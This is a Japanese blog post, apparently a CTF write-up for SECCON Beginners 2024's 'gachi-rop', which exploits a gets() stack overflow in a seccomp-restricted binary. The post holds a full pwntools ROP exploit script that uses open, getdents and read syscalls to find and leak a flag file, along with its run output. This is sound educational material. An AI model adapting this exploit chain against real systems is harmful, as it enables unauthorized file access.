0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[pwn] gachi-rop (SECCON Beginners CTF 2024) writeup

0
Last updated at Posted at 2025-12-25

  • Source: SECCON Beginners CTF 2024
  • Author: Satoki

問題バイナリとlibcが与えられる。Dockerfile付きで嬉しいが、ソースコードは無くて悲しい。
実行してみると、よくあるStack問っぽい雰囲気。system関数のアドレスが与えられているのも嬉しい。

$ ./gachi-rop
system@0x7086b6858750
Name: aaa
Hello, gachi-rop-aaa!!

まずはchecksecする。防御機構はNX以外ほぼ全オフになっていて、脆弱性が分かれば何でもできそう。

$ checksec --file=gachi-rop
[*] '/path/to/gachi-rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Ghidraでデコンパイルしてみるとgets関数でスタックに書き込んでおり、自明なBuffer Overflowがある。また、install_seccomp()によってseccompが設定されている。

undefined8 main(void)

{
  char local_18 [16];
  
  install_seccomp();
  printf("system@%p\n",system);
  local_18[0] = '\0';
  local_18[1] = '\0';
  local_18[2] = '\0';
  local_18[3] = '\0';
  local_18[4] = '\0';
  local_18[5] = '\0';
  local_18[6] = '\0';
  local_18[7] = '\0';
  local_18[8] = '\0';
  local_18[9] = '\0';
  local_18[10] = '\0';
  local_18[0xb] = '\0';
  local_18[0xc] = '\0';
  local_18[0xd] = '\0';
  local_18[0xe] = '\0';
  local_18[0xf] = '\0';
  printf("Name: ");
  gets(local_18);
  printf("Hello, gachi-rop-%s!!\n",local_18);
  return 0;
}

ということで、seccomp-toolsを使ってどのような制限がかけられているか確認する。

$ seccomp-tools dump ./gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

execveとexecveatが制限されているので、それらを内部で呼び出しているsystem関数も当然使えない。またDockerfileを見れば分かるが、flagのファイル名も推測困難になっており、まずはファイル名を特定する必要がある。
よって方針としては、NX bitをがんばって反転させてshellcodeを実行するか、ROPでread->writeをやることになる。今回は後者の方針でいく。

まず、flagが置かれているパス/app/ctf4bなどの文字列をどうやって作るかが問題になる。これをROPだけで作り上げるのは難しいため、一旦.bssの適当な場所にgetsで書き込んでおくことにする。

rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800

rop.call(elf.symbols['gets'], [bss])    # write path to bss

payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(b"/app/ctf4b")              # send dir path

あとはレジスタをいい感じに制御して最後にsyscallを呼び出すROP chainを頑張って作成すれば良い。具体的な流れとしては、

  1. .bssに/app/ctf4bを書き込む
  2. /app/ctf4bのディレクトリエントリを読む
  3. stdoutに書き込み、pwntools側でflagのpathを取得する
  4. 新たな接続で.bssにflagのpathを書き込む
  5. flagのファイルを読む
  6. stdoutに書き込み、pwntools側でflagを取得する

という感じ。スクリプトに書き起こすとこうなる。

from pwn import *

elf = ELF('./gachi-rop')
libc = ELF('./libc.so.6')

context.binary = elf
# context.log_level = 'debug'


def get_conn_and_libc():
    io = remote("localhost", 4567)
    io.recvuntil(b'system@')
    libc_system = int(io.recvline().strip(), 16)

    # reset libc base
    libc.address = 0
    libc.address = libc_system - libc.symbols['system']
    assert libc.address & 0xfff == 0
    log.info(f'libc base: {hex(libc.address)}')
    return io


def get_syscall_caller(rop):
    pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
    pop_rdx_r12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
    syscall = rop.find_gadget(['syscall', 'ret'])[0]

    def add_syscall(rax, rdi, rsi, rdx):
        rop.raw([pop_rax, rax])
        rop.raw([pop_rdi, rdi])
        rop.raw([pop_rsi, rsi])
        rop.raw([pop_rdx_r12, rdx, 0])
        rop.raw(syscall)

    return add_syscall


# setup ROP 1
io = get_conn_and_libc()
rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800
add_syscall = get_syscall_caller(rop)

rop.call(elf.symbols['gets'], [bss])    # write path to bss
add_syscall(2, bss, 0o200000, 0)        # open dir
add_syscall(78, 3, bss, 0x100)          # get dir entries
add_syscall(1, 1, bss, 0x100)           # write to stdout

# send payload
payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(b"/app/ctf4b")              # send dir path

# get flag path
recv = io.recvall(timeout=1).decode(errors='ignore')
flag_path = "/app/ctf4b/flag-" + recv.split("flag-")[1].split("\x00")[0]
log.success(f'flag path: {flag_path}')
io.close()


# setup ROP 2
io = get_conn_and_libc()
rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800
add_syscall = get_syscall_caller(rop)

rop.call(elf.symbols['gets'], [bss])    # write path to bss
add_syscall(2, bss, 0, 0)               # open file
add_syscall(0, 3, bss, 0x100)           # read file
add_syscall(1, 1, bss, 0x100)           # write to stdout

# send payload
payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(flag_path.encode())         # send flag path

# get flag
recv = io.recvall(timeout=1).decode(errors='ignore')
flag = "ctf4b{" + recv.split("ctf4b{")[1].split("}")[0] + "}"
log.success(f'flag: {flag}')

これを実行するとflagが得られた。

$ python3 solver.py
[+] Opening connection to localhost on port 4567: Done
[*] libc base: 0x77000b197000
[*] Loaded 219 cached gadgets for './libc.so.6'
[+] Receiving all data: Done (304B)
[*] Closed connection to localhost port 4567
[+] flag path: /app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt
[+] Opening connection to localhost on port 4567: Done
[*] libc base: 0x7ed382ec7000
[+] Receiving all data: Done (306B)
[*] Closed connection to localhost port 4567
[+] flag: ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}

ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?